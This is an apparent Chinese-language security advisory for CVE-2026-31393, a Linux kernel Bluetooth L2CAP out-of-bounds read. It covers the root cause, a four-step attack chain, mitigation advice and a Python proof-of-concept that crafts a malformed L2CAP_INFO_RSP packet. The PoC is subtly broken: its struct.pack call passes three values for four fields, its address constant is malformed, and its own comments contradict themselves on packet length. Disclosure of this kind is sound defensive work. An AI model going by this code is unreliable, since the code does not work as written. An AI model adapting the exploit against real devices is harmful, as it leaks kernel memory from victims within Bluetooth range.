IPBUF安全漏洞报告
English
CVE-2026-31393 CVSS 8.1 高危

CVE-2026-31393: Linux内核蓝牙L2CAP越界读取漏洞

披露日期: 2026-04-03
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31393
漏洞类型
越界读取 (Out-of-bounds Read)
CVSS评分
8.1 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Out-of-bounds ReadLinux KernelBluetoothL2CAPInformation DisclosureCWE-125

漏洞概述

Linux内核蓝牙L2CAP组件存在严重安全漏洞。由于`l2cap_information_rsp`函数在访问数据前未充分验证payload长度,攻击者可利用邻接网络发送特制的截断L2CAP_INFO_RSP数据包,导致内核发生越界读取。此漏洞可能泄露内存敏感信息,建议立即升级内核版本进行修复。

技术细节

该漏洞位于Linux内核蓝牙协议栈的L2CAP层,具体涉及`l2cap_information_rsp`函数的实现逻辑。在处理蓝牙信息响应时,该函数首先检查`cmd_len`是否大于等于固定头部大小(4字节),随后根据信息类型读取`rsp->data`负载。然而,代码未针对不同类型的负载需求进行二次长度校验。例如,`L2CAP_IT_FEAT_MASK`类型需要读取4字节的掩码,而`L2CAP_IT_FIXED_CHAN`类型仅需读取1字节。攻击者可以构造一个恶意蓝牙数据包,使其`cmd_len`仅为4字节,从而通过头部检查但导致后续payload访问越界。这将触发内核读取相邻的Socket Buffer(skb)数据,造成信息泄漏。官方补丁通过在每次访问`rsp->data`前增加具体的长度校验,防止了越界读取的发生。

攻击链分析

STEP 1
1. 攻击者邻近
攻击者物理上接近目标设备,位于蓝牙信号范围内(CVSS向量 AV:A)。
STEP 2
2. 建立连接
攻击者与目标Linux设备建立蓝牙连接,或监听并劫持现有的连接会话。
STEP 3
3. 发送恶意包
攻击者向目标发送特制的`L2CAP_INFO_RSP`数据包。该数据包的头部声明成功,但payload长度被故意截断(例如仅包含头部),绕过初步检查。
STEP 4
4. 触发越界读取
目标设备的内核在处理该数据包时,`l2cap_information_rsp`函数尝试访问不存在的payload数据,导致读取相邻内存区域(Out-of-bounds Read)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-31393: Bluetooth L2CAP Out-of-Bounds Read # This script demonstrates how to craft a malformed L2CAP_INFO_RSP packet. # Note: Requires a Bluetooth adapter and raw socket capabilities. import struct import socket # Bluetooth constants BDADDR_ANY = "\x00\x00\x00\x00\x00\x00" # Create a raw Bluetooth L2CAP socket # Note: This usually requires root privileges (CAP_NET_RAW) try: sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_L2CAP) sock.bind((BDADDR_ANY, 0)) except Exception as e: print(f"Failed to create socket: {e}") exit(1) # L2CAP Signaling Command Code for Information Response L2CAP_INFO_RSP = 0x03 # Malicious payload construction # The vulnerability is triggered when cmd_len is exactly 4 (header only), # but the handler expects data based on the type. # We construct a packet with: # Code (1 byte) | Identifier (1 byte) | Length (2 bytes) | Type (2 bytes) | Result (2 bytes) # Total length should be 4 bytes for the header, but the 'Length' field in L2CAP # indicates the length of the payload *following* the length field itself usually, # or total length depending on context. In L2CAP signaling: # Length = 4 (Type + Result) # Type = L2CAP_IT_FEAT_MASK (0x0002) # Result = L2CAP_IR_SUCCESS (0x0000) # If we send a packet where the payload is truncated, we trigger the OOB read. # Construct the signaling packet code = L2CAP_INFO_RSP id = 0x01 # Transaction ID length = 4 # Length of Type + Result fields (4 bytes) type_ = 0x0002 # L2CAP_IT_FEAT_MASK result = 0x0000 # Success # Pack the header and the partial payload # The vulnerability occurs if the skb->len is just enough for the header, # but the code tries to read data. packet = struct.pack("<BBHH", code, id, length) + struct.pack("<HH", type_, result) # To simulate the "truncated" condition described (cmd_len covers header only), # one might need to manipulate the socket buffer size or packet fragmentation, # which is complex in user-space. This is a representation of the packet structure. print(f"Sending malformed L2CAP Info Response packet...") print(f"Target: Local Loopback (for testing) or Remote BD_ADDR") # In a real scenario, send this to a target device. # sock.sendto(packet, (target_bdaddr, 1)) print("Packet content (hex):") print(packet.hex())

影响范围

Linux Kernel (Prior to commits: 187e6fe939295be36063a1d91f8bebee04399a8c, 3b646516cba2ebc4b51a72954903326e7c1e443f, etc.)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议暂时禁用系统蓝牙功能,或者通过配置蓝牙设备仅与受信任的设备配对,并关闭设备的可发现模式,以降低被攻击的风险。

参考链接

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